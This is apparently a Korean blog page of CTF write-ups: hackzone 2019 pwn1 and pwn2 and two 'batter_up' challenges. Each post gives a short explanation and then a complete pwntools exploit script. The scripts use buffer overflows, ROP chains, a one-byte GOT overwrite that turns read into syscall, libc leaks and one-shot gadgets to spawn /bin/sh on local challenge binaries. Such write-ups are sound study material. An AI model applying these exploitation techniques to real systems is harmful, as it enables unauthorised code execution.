정말 간단한 bof로 보여졌다.... 

rbp-0x80보다 많은 512 바이트를 받으니까.

 

근데 막상 문제를 보면 write도 없고 쓸 수 있는 함수가 없어서 read만 가지고는 평소처럼 rop를 할 수 없었다.

근데 운 좋게도 문제를 풀 때 어떤 블로그를 띄워 놓고 있었는데 그 블로그에서 말하는 바로는 각 함수에서 몇 바이트만 가다 보면 syscall이 있다는 사실을 적어 놨다.

이 문제의 read@got를 봤다.

read@got = 0x7ffff7b04250 일 때

read의 syscall은 마지막 한바이트만 바뀐 0x7ffff7b0425e다.

read@got를 한바이트만 GOT Overwrite해서 syscall로 만들어 준 다음, rax값만 잘 변조하면 read@got를 syscall로 움직여서 원하는 함수를 마음대로 실행할 수 있다.

rax값은 read 함수의 반환 값으로 조절이 가능하고, write함수도 마찬가지로 반환값으로 원하는 rax를 조절할 수 있다.

 

내 페이로드는 다음과 같다.

read(0, bss+0x100, 1);

read(0, read@got, 1);

read(1, read@got, 59);        // rax 조절을 위한 실행

read@got(bss+0x100, 0, 0); // ececve(bss+0x100, 0, 0);

이다.

 

from pwn import *

p = process("./pwn2")
elf = ELF("./pwn2")

read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rdi_rsi_rdx = 0x400531
bss = elf.bss()

payload = "A"*136	# with sfp
payload += p64(pop_rdi_rsi_rdx)
payload += p64(0)
payload += p64(bss+0x100)	#/bin/sh
payload += p64(len("/bin/sh\x00"))
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(0)
payload += p64(read_got)
payload += p64(1)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(1)
payload += p64(read_got)
payload += p64(59)
payload += p64(read_plt)

payload += p64(pop_rdi_rsi_rdx)
payload += p64(bss+0x100)
payload += p64(0)
payload += p64(0)
payload += p64(read_plt)

#pause()
p.sendline(payload)
#pause()
p.send("/bin/sh\x00")
p.sendline("\x5e")
p.interactive()

 

추가로 xor eax 가젯으로 eax를 조절하는 방법도 있다.

Ref.https://asiagaming.tistory.com/6

'CTF' 카테고리의 다른 글

facebook CTF 2019 overfloat  (0) 2019.06.03
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15

이 문제는 특이하게 모든 함수가 syscall로 구현되어 있다.

첨에 당황했는데 다른 rop처럼 똑같이 오버플로우로 rip를 syscall로 조작해서 libc leak을 하면 된다.

하지만 got 영역을 가진 함수가 없어서 고민을 하다가 pwntool로 이 함수 저함수 찾다가 __libc_start_main이 got가 있음을 알게 되었다.

그래서 libc leak해서 oneshot 가젯의 주소를 구했고, 그 다음 oneshot가젯을 bss에 저장했다.

syscall로 read해서 bss에 저장하려고 했으나 이 문제를 보면 login()에서 write, read를 다 진행해주기 때문에 rip를 이 쪽으로 돌려줘서 read할 때 oneshot 가젯의 주소를 넣어주었다.(첫 번째 read와 두 번째 read에 oneshot을 넣어줬다. 왜냐면 check()함수에서 두 부분이 같은지 확인하기 때문.) 그리고 이 함수에서 read하는 버퍼는 bss영역이기 때문에 저장되는 주소는 바로 알 수 있다.



그리고 pop_rsp가젯으로 bss 영역의 위치를 rsp로 pop시킨 후 마지막에 실행시키도록 하는 가젯을 이용했다.

from pwn import *

p = process("./pwn1")
elf = ELF("./pwn1")

pop_rdi = 0x00400683
pop_rsi_r15 = 0x400681
pop_rsp_r13_r14_r15 = 0x40067d
start = elf.got['__libc_start_main']
write_syscall = 0x400526
bss = elf.bss()

payload = ""
payload += "A"*40
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(start)
payload += p64(0)
payload += p64(write_syscall)

payload += p64(pop_rsp_r13_r14_r15)
payload += p64(bss+12)
payload += p64(0)
payload += p64(0)
payload += p64(bss+12)

print p.recv()
p.sendline("AAAA")
print hexdump(p.recv())
p.sendline("AAAA")
print hexdump(p.recv())
#pause()
p.sendline(payload)
__libc_start_main = u64(p.recv(8))
log.info("__libc_start_main = {}".format(hex(__libc_start_main)))
oneshot = __libc_start_main +  0x24b2a
log.info("oneshot = {}".format(hex(oneshot)))
print p.recv()
p.sendline(p64(oneshot))
print p.recv()
p.sendline(p64(oneshot))
p.interactive()

'CTF' 카테고리의 다른 글

defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
BTH_CTF 2019  (0) 2019.05.01
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23

batter_up

from pwn import *

p = process("./batter_up")
elf = ELF("./batter_up")

system = elf.plt['system']
binsh = 0x804874a
print p.recv()

payload = ""
payload += "A"*48
payload += p32(system)
payload += "DDDD"
payload += p32(binsh)

p.sendline(payload)

p.interactive()

batter_up 3

from pwn import *

p = process("./batter_up_3")
elf = ELF("./batter_up_3")
lib = ELF("./libc_e3d54f5709190f15a9c51089c70f2069771913c1.so.6")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets = elf.plt['gets']
bss = elf.bss()
pr = 0x080483d1
ppr = 0x0804870a
pppr = 0x08048709

p.recv()

payload = ""
payload += "A"*44
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(puts_plt)
payload += p32(pr)
payload += p32(bss)

payload += p32(gets)
payload += p32(pr)
payload += p32(puts_got)

payload += p32(puts_plt)
payload += "DDDD"
payload += p32(bss)

p.sendline(payload)

libc_puts = u32(p.recv(4))
log.info("libc_plt = {}".format(hex(libc_puts)))
libc_system = libc_puts - 0x24f00
log.info("libc_system = {}".format(hex(libc_system)))
p.sendline("/bin/sh\x00")

p.sendline(p32(libc_system))

p.interactive()

'CTF' 카테고리의 다른 글

hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
plaid 2019 can you guess me?  (0) 2019.04.15
codegate2019 aeiou  (0) 2019.02.23
CSAW2016 tutorial  (0) 2019.02.01

+ Recent posts